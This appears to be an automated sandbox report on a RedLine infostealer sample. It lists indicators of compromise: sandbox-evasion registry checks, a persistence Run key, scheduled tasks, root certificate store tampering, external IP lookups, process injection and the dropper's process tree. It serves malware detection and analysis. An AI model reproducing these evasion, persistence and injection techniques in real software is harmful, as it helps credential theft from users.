redline | 5f30eae71c1b0d08e7ec5adfc9a0dc98078595502b60a584a8df5cdf8cacf7fa

System Information Discovery

Processes:

3346569.scr7622939.scr6627024.scr931C.exe7513334.scr4278010.scr

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	3346569.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	7622939.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	6627024.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	931C.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	6627024.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	7513334.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	7513334.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	931C.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	3346569.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	4278010.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	4278010.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	7622939.scr

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

Mon20d3b8b752.exe

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Control Panel\International\Geo\Nation	Mon20d3b8b752.exe

Loads dropped DLL 64 IoCs

Processes:

setup_x86_x64_install.exesetup_installer.exesetup_install.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exeMon203f01ac7e6.exeMon20762bc3f6.exeMon204014f13870f5e.exeMon206b909958ed4.exeMon209c830507d573.exeMon20927aab1e5.execmd.exeMon20d3b8b752.exeMon2083f8d8970a0b2d.execmd.exe09xU.exEMon209c830507d573.exerundll32.exeWerFault.exe

pid	Process
1312	setup_x86_x64_install.exe
308	setup_installer.exe
308	setup_installer.exe
308	setup_installer.exe
308	setup_installer.exe
308	setup_installer.exe
308	setup_installer.exe
956	setup_install.exe
956	setup_install.exe
956	setup_install.exe
956	setup_install.exe
956	setup_install.exe
956	setup_install.exe
956	setup_install.exe
956	setup_install.exe
1340	cmd.exe
1668	cmd.exe
1340	cmd.exe
1020	cmd.exe
1732	cmd.exe
1904	cmd.exe
1904	cmd.exe
704	cmd.exe
1692	cmd.exe
1692	cmd.exe
1816	cmd.exe
1816	cmd.exe
1972	cmd.exe
1924	cmd.exe
1924	cmd.exe
1160	Mon203f01ac7e6.exe
1544	Mon20762bc3f6.exe
1160	Mon203f01ac7e6.exe
1544	Mon20762bc3f6.exe
1616	Mon204014f13870f5e.exe
1616	Mon204014f13870f5e.exe
1612	Mon206b909958ed4.exe
1612	Mon206b909958ed4.exe
1780	Mon209c830507d573.exe
1780	Mon209c830507d573.exe
996	Mon20927aab1e5.exe
996	Mon20927aab1e5.exe
1448	cmd.exe
1088	Mon20d3b8b752.exe
1088	Mon20d3b8b752.exe
1976	Mon2083f8d8970a0b2d.exe
1976	Mon2083f8d8970a0b2d.exe
1780	Mon209c830507d573.exe
996	Mon20927aab1e5.exe
1996	cmd.exe
1392	09xU.exE
1392	09xU.exE
996	Mon20927aab1e5.exe
1476	Mon209c830507d573.exe
1476	Mon209c830507d573.exe
996	Mon20927aab1e5.exe
1088	Mon20d3b8b752.exe
2520	rundll32.exe
2520	rundll32.exe
2520	rundll32.exe
2896	WerFault.exe
2896	WerFault.exe
2896	WerFault.exe
2896	WerFault.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

1917170.scr

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe"	1917170.scr

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 6 IoCs

evasion trojan

System Information Discovery

Processes:

4278010.scr7622939.scr6627024.scr7513334.scr931C.exe3346569.scr

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	4278010.scr
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	7622939.scr
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	6627024.scr
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	7513334.scr
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	931C.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	3346569.scr

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow	ioc
33	ipinfo.io
34	ipinfo.io
7	ip-api.com

Suspicious use of NtSetInformationThreadHideFromDebugger 6 IoCs

Processes:

3346569.scr4278010.scr7622939.scr6627024.scr7513334.scr931C.exe

pid	Process
2072	3346569.scr
2212	4278010.scr
2696	7622939.scr
1376	6627024.scr
2308	7513334.scr
2616	931C.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

Mon209c830507d573.exeMon20927aab1e5.exeservices64.exe

description	pid	Process	procid_target
PID 1780 set thread context of 1476	1780	Mon209c830507d573.exe	57
PID 996 set thread context of 2424	996	Mon20927aab1e5.exe	72
PID 1396 set thread context of 3196	1396	services64.exe	140

Drops file in Program Files directory 3 IoCs

Processes:

setup.tmp

description	ioc	Process
File opened for modification	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	setup.tmp
File created	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	setup.tmp
File created	C:\Program Files (x86)\FarLabUninstaller\is-IQJR7.tmp	setup.tmp

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 2 IoCs

Processes:

WerFault.exeWerFault.exe

pid	pid_target	Process	procid_target
2896	1088	WerFault.exe	54
3476	2320	WerFault.exe	98

Checks SCSI registry key(s) 3 TTPs 12 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

Mon204014f13870f5e.exehedggjfhedggjfhedggjf

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Mon204014f13870f5e.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Mon204014f13870f5e.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Mon204014f13870f5e.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	hedggjf
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	hedggjf
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	hedggjf
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	hedggjf
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	hedggjf
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	hedggjf
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	hedggjf
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	hedggjf
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	hedggjf

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

Processes:

schtasks.exeschtasks.exeschtasks.exe

pid	Process
3204	schtasks.exe
3304	schtasks.exe
3944	schtasks.exe

Kills process with taskkill 2 IoCs

evasion

Processes:

taskkill.exetaskkill.exe

pid	Process
1756	taskkill.exe
2700	taskkill.exe

Modifies system certificate store 2 TTPs 6 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

Mon206d48916f93c5.exeservices64.exe

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	Mon206d48916f93c5.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d0030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	Mon206d48916f93c5.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa20f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349040000000100000010000000497904b0eb8719ac47b0bc11519b74d0200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	Mon206d48916f93c5.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25	services64.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 040000000100000010000000d474de575c39b2d39c8583c5c065498a0f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a8090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703085300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc30b00000001000000120000004400690067006900430065007200740000001d00000001000000100000008f76b981d528ad4770088245e2031b630300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc25190000000100000010000000ba4f3972e7aed9dccdc210db59da13c92000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a	services64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	Mon206d48916f93c5.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

Mon204014f13870f5e.exe

pid	Process
1616	Mon204014f13870f5e.exe
1616	Mon204014f13870f5e.exe
1232
1232
1232
1232
1232
1232
1232
1232
1232
1232
1232
1232
1232
1232
1232
1232
1232
1232
1232
1232
1232
1232
1232
1232
1232
1232
1232
1232
1232
1232
1232
1232
1232
1232
1232
1232
1232
1232
1232
1232
1232
1232
1232
1232
1232
1232
1232
1232
1232
1232
1232
1232
1232
1232
1232
1232
1232
1232
1232
1232
1232
1232

Suspicious behavior: GetForegroundWindowSpam 3 IoCs

Processes:

WerFault.exeWerFault.exe

pid	Process
1232
2896	WerFault.exe
3476	WerFault.exe

Suspicious behavior: MapViewOfSection 4 IoCs

Processes:

Mon204014f13870f5e.exehedggjfhedggjfhedggjf

pid	Process
1616	Mon204014f13870f5e.exe
3320	hedggjf
2684	hedggjf
1416	hedggjf

Suspicious behavior: SetClipboardViewer 1 IoCs

Processes:

8173728.scr

pid	Process
2672	8173728.scr

Suspicious use of AdjustPrivilegeToken 46 IoCs

Processes:

taskkill.exepowershell.exetaskkill.exeMon206d48916f93c5.exeWerFault.exe8069061.scrMon2083f8d8970a0b2d.exeMon209c830507d573.exe7853792.scr3346569.scrDownFlSetup110.exe4.exeMon20927aab1e5.exe1342912.scr7622939.scr5242572.scr4318.exeWerFault.exe7513334.scr931C.exeChrome 5.exeservices64.exeexplorer.exe

description	pid	Process
Token: SeShutdownPrivilege	1232
Token: SeDebugPrivilege	1756	taskkill.exe
Token: SeDebugPrivilege	2028	powershell.exe
Token: SeShutdownPrivilege	1232
Token: SeDebugPrivilege	2700	taskkill.exe
Token: SeDebugPrivilege	800	Mon206d48916f93c5.exe
Token: SeDebugPrivilege	2896	WerFault.exe
Token: SeShutdownPrivilege	1232
Token: SeDebugPrivilege	3048	8069061.scr
Token: SeDebugPrivilege	1976	Mon2083f8d8970a0b2d.exe
Token: SeDebugPrivilege	1476	Mon209c830507d573.exe
Token: SeDebugPrivilege	836	7853792.scr
Token: SeDebugPrivilege	1684
Token: SeDebugPrivilege	2072	3346569.scr
Token: SeDebugPrivilege	816	DownFlSetup110.exe
Token: SeDebugPrivilege	2300	4.exe
Token: SeDebugPrivilege	2424	Mon20927aab1e5.exe
Token: SeShutdownPrivilege	1232
Token: SeShutdownPrivilege	1232
Token: SeShutdownPrivilege	1232
Token: SeDebugPrivilege	3044	1342912.scr
Token: SeShutdownPrivilege	1232
Token: SeShutdownPrivilege	1232
Token: SeDebugPrivilege	2696	7622939.scr
Token: SeDebugPrivilege	3180	5242572.scr
Token: SeDebugPrivilege	640	4318.exe
Token: SeDebugPrivilege	3476	WerFault.exe
Token: SeShutdownPrivilege	1232
Token: SeDebugPrivilege	2308	7513334.scr
Token: SeShutdownPrivilege	1232
Token: SeShutdownPrivilege	1232
Token: SeShutdownPrivilege	1232
Token: SeShutdownPrivilege	1232
Token: SeShutdownPrivilege	1232
Token: SeShutdownPrivilege	1232
Token: SeDebugPrivilege	2616	931C.exe
Token: SeDebugPrivilege	2572	Chrome 5.exe
Token: SeShutdownPrivilege	1232
Token: SeDebugPrivilege	1396	services64.exe
Token: SeLockMemoryPrivilege	3196	explorer.exe
Token: SeLockMemoryPrivilege	3196	explorer.exe
Token: SeShutdownPrivilege	1232
Token: SeShutdownPrivilege	1232
Token: SeShutdownPrivilege	1232
Token: SeShutdownPrivilege	1232
Token: SeShutdownPrivilege	1232

Suspicious use of FindShellTrayWindow 7 IoCs

Processes:

setup.tmp

pid	Process
1232
1232
2380	setup.tmp
1232
1232
1232
1232

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

setup_x86_x64_install.exesetup_installer.exesetup_install.exe

description	pid	Process	procid_target
PID 1312 wrote to memory of 308	1312	setup_x86_x64_install.exe	28
PID 1312 wrote to memory of 308	1312	setup_x86_x64_install.exe	28
PID 1312 wrote to memory of 308	1312	setup_x86_x64_install.exe	28
PID 1312 wrote to memory of 308	1312	setup_x86_x64_install.exe	28
PID 1312 wrote to memory of 308	1312	setup_x86_x64_install.exe	28
PID 1312 wrote to memory of 308	1312	setup_x86_x64_install.exe	28
PID 1312 wrote to memory of 308	1312	setup_x86_x64_install.exe	28
PID 308 wrote to memory of 956	308	setup_installer.exe	29
PID 308 wrote to memory of 956	308	setup_installer.exe	29
PID 308 wrote to memory of 956	308	setup_installer.exe	29
PID 308 wrote to memory of 956	308	setup_installer.exe	29
PID 308 wrote to memory of 956	308	setup_installer.exe	29
PID 308 wrote to memory of 956	308	setup_installer.exe	29
PID 308 wrote to memory of 956	308	setup_installer.exe	29
PID 956 wrote to memory of 1744	956	setup_install.exe	31
PID 956 wrote to memory of 1744	956	setup_install.exe	31
PID 956 wrote to memory of 1744	956	setup_install.exe	31
PID 956 wrote to memory of 1744	956	setup_install.exe	31
PID 956 wrote to memory of 1744	956	setup_install.exe	31
PID 956 wrote to memory of 1744	956	setup_install.exe	31
PID 956 wrote to memory of 1744	956	setup_install.exe	31
PID 956 wrote to memory of 1020	956	setup_install.exe	32
PID 956 wrote to memory of 1020	956	setup_install.exe	32
PID 956 wrote to memory of 1020	956	setup_install.exe	32
PID 956 wrote to memory of 1020	956	setup_install.exe	32
PID 956 wrote to memory of 1020	956	setup_install.exe	32
PID 956 wrote to memory of 1020	956	setup_install.exe	32
PID 956 wrote to memory of 1020	956	setup_install.exe	32
PID 956 wrote to memory of 1692	956	setup_install.exe	33
PID 956 wrote to memory of 1692	956	setup_install.exe	33
PID 956 wrote to memory of 1692	956	setup_install.exe	33
PID 956 wrote to memory of 1692	956	setup_install.exe	33
PID 956 wrote to memory of 1692	956	setup_install.exe	33
PID 956 wrote to memory of 1692	956	setup_install.exe	33
PID 956 wrote to memory of 1692	956	setup_install.exe	33
PID 956 wrote to memory of 1924	956	setup_install.exe	34
PID 956 wrote to memory of 1924	956	setup_install.exe	34
PID 956 wrote to memory of 1924	956	setup_install.exe	34
PID 956 wrote to memory of 1924	956	setup_install.exe	34
PID 956 wrote to memory of 1924	956	setup_install.exe	34
PID 956 wrote to memory of 1924	956	setup_install.exe	34
PID 956 wrote to memory of 1924	956	setup_install.exe	34
PID 956 wrote to memory of 1816	956	setup_install.exe	35
PID 956 wrote to memory of 1816	956	setup_install.exe	35
PID 956 wrote to memory of 1816	956	setup_install.exe	35
PID 956 wrote to memory of 1816	956	setup_install.exe	35
PID 956 wrote to memory of 1816	956	setup_install.exe	35
PID 956 wrote to memory of 1816	956	setup_install.exe	35
PID 956 wrote to memory of 1816	956	setup_install.exe	35
PID 956 wrote to memory of 1668	956	setup_install.exe	36
PID 956 wrote to memory of 1668	956	setup_install.exe	36
PID 956 wrote to memory of 1668	956	setup_install.exe	36
PID 956 wrote to memory of 1668	956	setup_install.exe	36
PID 956 wrote to memory of 1668	956	setup_install.exe	36
PID 956 wrote to memory of 1668	956	setup_install.exe	36
PID 956 wrote to memory of 1668	956	setup_install.exe	36
PID 956 wrote to memory of 704	956	setup_install.exe	37
PID 956 wrote to memory of 704	956	setup_install.exe	37
PID 956 wrote to memory of 704	956	setup_install.exe	37
PID 956 wrote to memory of 704	956	setup_install.exe	37
PID 956 wrote to memory of 704	956	setup_install.exe	37
PID 956 wrote to memory of 704	956	setup_install.exe	37
PID 956 wrote to memory of 704	956	setup_install.exe	37
PID 956 wrote to memory of 1904	956	setup_install.exe	38

C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1312
- C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
  "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:308
